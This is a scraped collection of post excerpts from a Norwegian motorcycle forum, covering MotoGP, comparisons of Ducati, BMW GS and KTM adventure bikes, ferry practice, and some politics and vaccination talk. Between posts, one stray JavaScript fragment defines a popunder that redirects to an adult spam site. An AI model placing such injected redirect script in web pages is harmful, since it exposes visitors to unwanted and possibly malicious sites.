Min første tanke var "var det Moto GP i helga!?!?". Jeg trodde ikke det var før neste helg... Heldigvis hadde jeg rett. Men jeg skvatt et øyeblikk! Beklager! Det var ikke meningen å skremme dere. Jeg skal passe bedre på hva jeg skriver i framtida, så det ikke er noen som får slag før seso...

oivindg skrev: ↑11 apr 2021, 19:31 Rå start på Oliveira i går! Og et nytt jevnt løp. Spennende til siste sving. Utrolig gøy å se så langt i år.

');var popunder = {expire: 6, url: "https://flirthoney-hot.life/?u=lcd8hwq&o=h6dw1n9"};}

Eller forrige helg, når løpet gikk?

Men GS har jo svært lite og ikke veldig avansert elektronikk sammenlignet med andre sykler. Så er du glad i sånt er GS ikke riktig sykkel uansett. Dessuten er jo GS toppen av gubbesykkel og er du glad i kneskrap og litt oh shit opplevelser er jo heller ikke GS det mest spennende, ja jeg vet at det e...

Ved korte fergestrekninger er sidestøtte ok.
På lengre turer med fare for sjø, tropper jeg ned gaffel og bruker ikke støtte.
Da kommer sykkel Ingen veier uansett vær og sykkelen vil fjære gjennom gaffel isteden for å få slag rett i en død støtte.

FredrikE24 skrev: ↑11 apr 2021, 00:04 Prøv Ducati først

Det er jeg enig i, for når nedturen kommer når han tester GS så er han ikke i tvil om hva han vil ha

Nei det har du rett i. Nå er det ikke desmodromiske ventiler på V4, så nå er de som alle andre.
Nytt på V4 er oljebytte på 15.000km/hvert andre år, mot 15.000km/1 gang i året på v2.
Men nå er ikke V4 noen nytt for Ducati, så det er ikke noe de ikke har erfaring med.

Godt vi er forskjellige. Jeg liker å kjøre motorsykkel på hytta feks. Da er det fulle kofferter og en diger bag bakpå med matvarer og et brett med øl stroppa over der. Drar gjerne ikke alene og det blir alltid slik at mens kompisen får med seg en underbukse, en t-skjorte ekstra og tannbørsten, så t...

Er vel litt snø der oppe.......
Men om du ikke kan få kjørt enda så får du startet opp beistet og trykket litt på de uendelige menyene og alle innstillingene.
Sittet på og kjenne litt på hvordan den føles..

Bjerknez skrev: ↑05 apr 2021, 13:28

Skal du ha i pose og sekk så mener jeg KTM1290 vil gi deg det på best mulige måte ut fra kritteriene.

Tror nok Multistrada er vel så egnet til ja takk, begge deler.
Jeg mene at Multistradaen er hakket mer asfaltorientert enn KTM.
Og de har vel mest elektronikk og duppeditter.

Hvis du liker duppeditter, elektronikk og noe som drar skinnet av pølsa er Multistrada svaret.
Hvis ikke penger stopper deg, så reis til Trondheim og prøv en, og ikke kjøp noe annet FØR du har kjørt en V4

Jeg er heller ikke blodfan av Erna, men jeg synes det er det beste alternativet til statsminister i Norge i dag. Rød/Grønn side har ikke noen kandidater som jeg har tillit til i det hele tatt. Og når jeg ser på hvordan det har gått i Oslo de siste årene grøsser jeg med tanken på samme styresett i re...

Jompa skrev: ↑23 mar 2021, 19:07

Man trenger mao ikke å ha så mye mellom ørene for å bli statsminister.

Eller å være AP politiker i nord.
Var vel en del fra AP som hadde fest på hotellrom i Bodø for meget kort tid siden.
Og AP er en av de som går hardt ut mot Erna.
Nei folk må feie for egen dør.......

Fikk melding fra kommunen nå at jeg kan få vaksine 24.3 Betenkeligheter rundt det? NEI Nå får jeg Pfizer, som meldes som den beste angående bivirkninger. At noen kan være skeptisk til enkelte vaksiner? Tja, kanskje. Men skeptisk til alt av vaksinering? Nei da er de historieløse. Men det er mange fan...

Ja du har rett i det. 1098 hadde ikke noe elektronikk i det hele tatt, ikke noe stort problem når jeg hadde den, nettopp fordi jeg ikke hadde erfaring med det og så ikke behovet. Men den er ganske brutal så det hadde vært en hel annen sykkel med hjelp av elektronikk og hadde nok vært tryggere ved sp...

Jeg et strålende fornøyd med 950´en
Går bra nok, men av og til savner jeg litt den derre oh shit når forhjulet løfter seg over 200 km/t som det gjorde på 1098.
Men det går fort nok og har egenskaper og komponenter som gjør opplevelsen på landeveien ikke blir kjedelig.